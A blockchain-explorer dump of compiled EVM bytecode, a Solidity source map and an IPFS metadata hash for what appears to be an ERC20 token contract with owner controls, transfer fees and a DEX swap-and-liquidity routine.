018416156111e557908102905b60019390931c9280026111bc565b935093915050565b5f82611209575060016102db565b8161121557505f6102db565b816001811461122b576002811461123557611251565b60019150506102db565b60ff841115611246576112466111a4565b50506001821b6102db565b5060208310610133831016604e8410600b8410161715611274575081810a6102db565b6112805f1984846111b8565b805f1904821115611293576112936111a4565b029392505050565b5f610d8e60ff8416836111fb565b80820281158282048414176102db576102db6111a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611307575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611330575f80fd5b8151610d8e816110d3565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611360576113606111a4565b5060010190565b818103818111156102db576102db6111a4565b808201808211156102db576102db6111a4565b5f826113a757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156113fc5783516001600160a01b03168352602093840193909201916001016113d5565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208272dc445c818581d95a3eeacc360cf92d0c495ba42e695acaccf8635abda24f64736f6c634300081a0033

3839:6567:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6036:83;;;;;;;;;;-1:-1:-1;6106:5:0;;;;;;;;;;;;-1:-1:-1;;;6106:5:0;;;;6036:83;;;;;;;:::i;:::-;;;;;;;;6867:161;;;;;;;;;;-1:-1:-1;6867:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6867:161:0;945:187:1;6313:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;6313:95:0;1137:177:1;7036:313:0;;;;;;;;;;-1:-1:-1;7036:313:0;;;;;:::i;:::-;;:::i;6222:83::-;;;;;;;;;;-1:-1:-1;6222:83:0;;4256:1;1974:36:1;;1962:2;1947:18;6222:83:0;1832:184:1;6416:117:0;;;;;;;;;;-1:-1:-1;6416:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6509:16:0;6482:7;6509:16;;;:7;:16;;;;;;;6416:117;3682:148;;;;;;;;;;;;;:::i;:::-;;3468:79;;;;;;;;;;-1:-1:-1;3506:7:0;3533:6;3468:79;;-1:-1:-1;;;;;3533:6:0;;;2419:51:1;;2407:2;2392:18;3468:79:0;2273:203:1;6127:87:0;;;;;;;;;;-1:-1:-1;6199:7:0;;;;;;;;;;;;-1:-1:-1;;;6199:7:0;;;;6127:87;;6541:167;;;;;;;;;;-1:-1:-1;6541:167:0;;;;;:::i;:::-;;:::i;5715:313::-;;;;;;;;;;;;;:::i;6716:143::-;;;;;;;;;;-1:-1:-1;6716:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6824:18:0;;;6797:7;6824:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6716:143;5415:292;;;;;;;;;;;;;:::i;6867:161::-;6942:4;6959:39;1820:10;6982:7;6991:6;6959:8;:39::i;:::-;-1:-1:-1;7016:4:0;6867:161;;;;;:::o;6313:95::-;6366:7;4312:13;4256:1;4312:2;:13;:::i;:::-;4299:26;;:10;:26;:::i;:::-;6386:14;;6313:95;:::o;7036:313::-;7134:4;7151:36;7161:6;7169:9;7180:6;7151:9;:36::i;:::-;7198:121;7207:6;1820:10;7229:89;7267:6;7229:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7229:19:0;;;;;;:11;:19;;;;;;;;1820:10;7229:33;;;;;;;;;;:37;:89::i;:::-;7198:8;:121::i;:::-;-1:-1:-1;7337:4:0;7036:313;;;;;:::o;3682:148::-;3595:6;;-1:-1:-1;;;;;3595:6:0;1820:10;3595:22;3587:67;;;;-1:-1:-1;;;3587:67:0;;;;;;;:::i;:::-;;;;;;;;;3789:1:::1;3773:6:::0;;3752:40:::1;::::0;-1:-1:-1;;;;;3773:6:0;;::::1;::::0;3752:40:::1;::::0;3789:1;;3752:40:::1;3820:1;3803:19:::0;;-1:-1:-1;;;;;;3803:19:0::1;::::0;;3682:148::o;6541:167::-;6619:4;6636:42;1820:10;6660:9;6671:6;6636:9;:42::i;5715:313::-;3595:6;;-1:-1:-1;;;;;3595:6:0;1820:10;3595:22;3587:67;;;;-1:-1:-1;;;3587:67:0;;;;;;;:::i;:::-;5779:15:::1;::::0;::::1;::::0;::::1;;;5778:16;5770:51;;;::::0;-1:-1:-1;;;5770:51:0;;5174:2:1;5770:51:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;5770:51:0::1;4972:347:1::0;5770:51:0::1;5832:11;::::0;5898:4:::1;6482:7:::0;6509:16;;;:7;:16;;;;;;5832:11;;;::::1;-1:-1:-1::0;;;;;5832:11:0::1;::::0;:27:::1;::::0;5867:21:::1;::::0;5929:1:::1;5931::::0;5933:7:::1;3506::::0;3533:6;-1:-1:-1;;;;;3533:6:0;;3468:79;5933:7:::1;5832:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5832:125:0;;;-1:-1:-1;;;;;5645:32:1;;;5832:125:0::1;::::0;::::1;5627:51:1::0;5694:18;;;5687:34;;;;5737:18;;;5730:34;;;;5780:18;;;5773:34;5844:32;;;5823:19;;;5816:61;5941:15:0::1;5893:19:1::0;;;5886:35;5599:19;;5832:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5968:12:0::1;:19:::0;;-1:-1:-1;;5998:22:0;;;;;-1:-1:-1;5715:313:0:o;5415:292::-;3595:6;;-1:-1:-1;;;;;3595:6:0;1820:10;3595:22;3587:67;;;;-1:-1:-1;;;3587:67:0;;;;;;;:::i;:::-;5463:11:::1;:68:::0;;-1:-1:-1;;;;;;5463:68:0::1;::::0;::::1;::::0;;;;5542:54:::1;::::0;5559:4:::1;::::0;-1:-1:-1;;;;;5463:68:0;5574:11;;::::1;;4312:13;4256:1;4312:2;:13;:::i;:::-;4299:26;::::0;:10:::1;:26;:::i;5542:54::-;5631:11;;;;;;;;;-1:-1:-1::0;;;;;5631:11:0::1;-1:-1:-1::0;;;;;5631:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5619:45:0::1;;5673:4;5680:11;;;;;;;;;-1:-1:-1::0;;;;;5680:11:0::1;-1:-1:-1::0;;;;;5680:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5619:80;::::0;-1:-1:-1;;;;;;5619:80:0::1;::::0;;;;;;-1:-1:-1;;;;;6841:32:1;;;5619:80:0::1;::::0;::::1;6823:51:1::0;6910:32;;6890:18;;;6883:60;6796:18;;5619:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5607:9;:92:::0;;-1:-1:-1;;;;;;5607:92:0::1;-1:-1:-1::0;;;;;5607:92:0;;;::::1;::::0;;;::::1;::::0;;5415:292::o;7357:335::-;-1:-1:-1;;;;;7450:19:0;;7442:68;;;;-1:-1:-1;;;7442:68:0;;7156:2:1;7442:68:0;;;7138:21:1;7195:2;7175:18;;;7168:30;7234:34;7214:18;;;7207:62;-1:-1:-1;;;7285:18:1;;;7278:34;7329:19;;7442:68:0;6954:400:1;7442:68:0;-1:-1:-1;;;;;7529:21:0;;7521:68;;;;-1:-1:-1;;;7521:68:0;;7561:2:1;7521:68:0;;;7543:21:1;7600:2;7580:18;;;7573:30;7639:34;7619:18;;;7612:62;-1:-1:-1;;;7690:18:1;;;7683:32;7732:19;;7521:68:0;7359:398:1;7521:68:0;-1:-1:-1;;;;;7600:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7652:32;;1283:25:1;;;7652:32:0;;1256:18:1;7652:32:0;;;;;;;7357:335;;;:::o;7700:1970::-;-1:-1:-1;;;;;7800:21:0;;7792:71;;;;-1:-1:-1;;;7792:71:0;;7964:2:1;7792:71:0;;;7946:21:1;8003:2;7983:18;;;7976:30;8042:34;8022:18;;;8015:62;-1:-1:-1;;;8093:18:1;;;8086:35;8138:19;;7792:71:0;7762:401:1;7792:71:0;-1:-1:-1;;;;;7882:24:0;;7874:72;;;;-1:-1:-1;;;7874:72:0;;8370:2:1;7874:72:0;;;8352:21:1;8409:2;8389:18;;;8382:30;8448:34;8428:18;;;8421:62;-1:-1:-1;;;8499:18:1;;;8492:33;8542:19;;7874:72:0;8168:399:1;7874:72:0;7975:1;7965:7;:11;7957:65;;;;-1:-1:-1;;;7957:65:0;;8774:2:1;7957:65:0;;;8756:21:1;8813:2;8793:18;;;8786:30;8852:34;8832:18;;;8825:62;-1:-1:-1;;;8903:18:1;;;8896:39;8952:19;;7957:65:0;8572:405:1;7957:65:0;8082:29;;;;;;;;;8083:11;;-1:-1:-1;;;;;8083:11:0;8082:29;;;;;;;8035:16;;8064:72;;8073:7;;8035:16;8082:29;;;;;8113:9;;:22;;8127:7;8113:13;:22::i;8064:72::-;8165:31;;;;;;;;;8166:12;;-1:-1:-1;;;;;8166:12:0;8165:31;;;;;;;8147:74;;8156:7;;-1:-1:-1;8165:31:0;;8147:74;3506:7;3533:6;-1:-1:-1;;;;;8236:18:0;;;3533:6;;8236:18;;;;:43;;-1:-1:-1;3506:7:0;3533:6;-1:-1:-1;;;;;8258:21:0;;;3533:6;;8258:21;;8236:43;8232:1058;;;8307:77;8380:3;8307:68;8330:15;;8320:9;;:25;8319:55;;8360:14;;8319:55;;;8347:12;;8319:55;8307:7;;:11;:68::i;:::-;:72;;:77::i;:::-;8416:9;;8296:88;;-1:-1:-1;;;;;;8405:20:0;;;8416:9;;8405:20;:58;;;;-1:-1:-1;8451:11:0;;-1:-1:-1;;;;;8429:34:0;;;8451:11;;;;;8429:34;;8405:58;:94;;;;-1:-1:-1;;;;;;8469:30:0;;;;;;:18;:30;;;;;;;;8467:32;8405:94;8401:146;;;8520:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8401:146;8580:9;;-1:-1:-1;;;;;8566:23:0;;;8580:9;;8566:23;:50;;;;-1:-1:-1;;;;;;8593:23:0;;8611:4;8593:23;;8566:50;8563:181;;;8648:80;8724:3;8648:71;8671:16;;8661:9;;:26;8660:58;;8703:15;;8660:58;;;8689:13;;8648:7;;:11;:71::i;:80::-;8637:91;;8563:181;8809:4;8760:28;6509:16;;;:7;:16;;;;;;8835:6;;;;8834:7;:34;;;;-1:-1:-1;8859:9:0;;-1:-1:-1;;;;;8845:23:0;;;8859:9;;8845:23;8834:34;:50;;;;-1:-1:-1;8872:12:0;;;;;;;8834:50;:84;;;;;8900:18;;8888:9;;:30;8834:84;8830:449;;;8965:13;;8942:20;:36;8939:130;;;8997:72;9014:54;9018:7;9027:40;9031:20;9053:13;;9027:3;:40::i;:::-;9014:3;:54::i;:::-;8997:16;:72::i;:::-;9117:21;9209:35;9222:21;9209:12;:35::i;:::-;8920:359;8830:449;8281:1009;8232:1058;9305:10;;9302:157;;9368:4;9352:22;;;;:7;:22;;;;;;:36;;9379:8;9352:26;:36::i;:::-;9345:4;9329:22;;;;:7;:22;;;;;;;:59;;;;9406:41;;-1:-1:-1;;;;;9406:41:0;;;;;;;9438:8;1283:25:1;;1271:2;1256:18;;1137:177;9406:41:0;;;;;;;;9302:157;-1:-1:-1;;;;;9488:16:0;;;;;;:7;:16;;;;;;:29;;9509:7;9488:20;:29::i;:::-;-1:-1:-1;;;;;9471:16:0;;;;;;:7;:16;;;;;:46;9548;9572:21;:7;9584:8;9572:11;:21::i;:::-;-1:-1:-1;;;;;9548:19:0;;;;;;:7;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;9528:19:0;;;;;;;:7;:19;;;;;:66;;;;9610:52;;;9640:21;:7;9652:8;9640:11;:21::i;:::-;9610:52;;1283:25:1;;;1271:2;1256:18;9610:52:0;;;;;;;7781:1889;7700:1970;;;:::o;797:190::-;883:7;919:12;911:6;;;;903:29;;;;-1:-1:-1;;;903:29:0;;;;;;;;:::i;:::-;-1:-1:-1;943:9:0;955:5;959:1;955;:5;:::i;:::-;943:17;797:190;-1:-1:-1;;;;;797:190:0:o;466:179::-;524:7;;556:5;560:1;556;:5;:::i;:::-;544:17;;585:1;580;:6;;572:46;;;;-1:-1:-1;;;572:46:0;;9719:2:1;572:46:0;;;9701:21:1;9758:2;9738:18;;;9731:30;9797:29;9777:18;;;9770:57;9844:18;;572:46:0;9517:351:1;572:46:0;636:1;466:179;-1:-1:-1;;;466:179:0:o;995:246::-;1053:7;1077:1;1082;1077:6;1073:47;;-1:-1:-1;1107:1:0;1100:8;;1073:47;1130:9;1142:5;1146:1;1142;:5;:::i;:::-;1130:17;-1:-1:-1;1175:1:0;1166:5;1170:1;1130:17;1166:5;:::i;:::-;:10;1158:56;;;;-1:-1:-1;;;1158:56:0;;10297:2:1;1158:56:0;;;10279:21:1;10336:2;10316:18;;;10309:30;10375:34;10355:18;;;10348:62;-1:-1:-1;;;10426:18:1;;;10419:31;10467:19;;1158:56:0;10095:397:1;1249:132:0;1307:7;1334:39;1338:1;1341;1334:39;;;;;;;;;;;;;;;;;:3;:39::i;10157:99::-;10214:7;10242:1;10240;:3;10239:9;;10247:1;10239:9;;;-1:-1:-1;10245:1:0;10157:99;-1:-1:-1;10157:99:0:o;9678:471::-;4965:6;:13;;-1:-1:-1;;4965:13:0;4974:4;4965:13;;;9780:16:::1;::::0;;9794:1:::1;9780:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9780:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9780:16:0::1;9756:40;;9825:4;9807;9812:1;9807:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9807:23:0::1;;;-1:-1:-1::0;;;;;9807:23:0::1;;;::::0;::::1;9851:11;;;;;;;;;-1:-1:-1::0;;;;;9851:11:0::1;-1:-1:-1::0;;;;;9851:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9841:4;9846:1;9841:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9841:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;9912:11:::1;::::0;9880:58:::1;::::0;9897:4:::1;::::0;9912:11;;::::1;;9926::::0;9880:8:::1;:58::i;:::-;9949:11;::::0;:192:::1;::::0;-1:-1:-1;;;9949:192:0;;:11;;;::::1;-1:-1:-1::0;;;;;9949:11:0::1;::::0;:62:::1;::::0;:192:::1;::::0;10026:11;;10052:1:::1;::::0;10068:4;;10095::::1;::::0;10115:15:::1;::::0;9949:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5001:6:0;:14;;-1:-1:-1;;5001:14:0;;;-1:-1:-1;;;;9678:471:0:o;10264:102::-;10329:11;;10321:37;;-1:-1:-1;;;;;10329:11:0;;;;10321:37;;;;;10351:6;;10329:11;10321:37;10329:11;10321:37;10351:6;10329:11;10321:37;;;;;;;;;;;;;;;;;;;;;10264:102;:::o;653:136::-;711:7;738:43;742:1;745;738:43;;;;;;;;;;;;;;;;;:3;:43::i;1389:189::-;1475:7;1510:12;1503:5;1495:28;;;;-1:-1:-1;;;1495:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1534:9:0;1546:5;1550:1;1546;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5932:456::-;6020:6;6028;6036;6089:2;6077:9;6068:7;6064:23;6060:32;6057:52;;;6105:1;6102;6095:12;6057:52;-1:-1:-1;;6150:16:1;;6256:2;6241:18;;6235:25;6352:2;6337:18;;;6331:25;6150:16;;6235:25;;-1:-1:-1;6331:25:1;5932:456;-1:-1:-1;5932:456:1:o;6393:251::-;6463:6;6516:2;6504:9;6495:7;6491:23;6487:32;6484:52;;;6532:1;6529;6522:12;6484:52;6564:9;6558:16;6583:31;6608:5;6583:31;:::i;8982:127::-;9043:10;9038:3;9034:20;9031:1;9024:31;9074:4;9071:1;9064:15;9098:4;9095:1;9088:15;9114:135;9153:3;9174:17;;;9171:43;;9194:18;;:::i;:::-;-1:-1:-1;9241:1:1;9230:13;;9114:135::o;9254:128::-;9321:9;;;9342:11;;;9339:37;;;9356:18;;:::i;9387:125::-;9452:9;;;9473:10;;;9470:36;;;9486:18;;:::i;9873:217::-;9913:1;9939;9929:132;;9983:10;9978:3;9974:20;9971:1;9964:31;10018:4;10015:1;10008:15;10046:4;10043:1;10036:15;9929:132;-1:-1:-1;10075:9:1;;9873:217::o;10629:959::-;10891:4;10939:3;10928:9;10924:19;10970:6;10959:9;10952:25;11013:6;11008:2;10997:9;10993:18;10986:34;11056:3;11051:2;11040:9;11036:18;11029:31;11080:6;11115;11109:13;11146:6;11138;11131:22;11184:3;11173:9;11169:19;11162:26;;11223:2;11215:6;11211:15;11197:29;;11244:1;11254:195;11268:6;11265:1;11262:13;11254:195;;;11333:13;;-1:-1:-1;;;;;11329:39:1;11317:52;;11398:2;11424:15;;;;11389:12;;;;11365:1;11283:9;11254:195;;;-1:-1:-1;;;;;;;11505:32:1;;;;11500:2;11485:18;;11478:60;-1:-1:-1;;11569:3:1;11554:19;11547:35;11466:3;10629:959;-1:-1:-1;;;10629:959:1:o

ipfs://8272dc445c818581d95a3eeacc360cf92d0c495ba42e695acaccf8635abda24f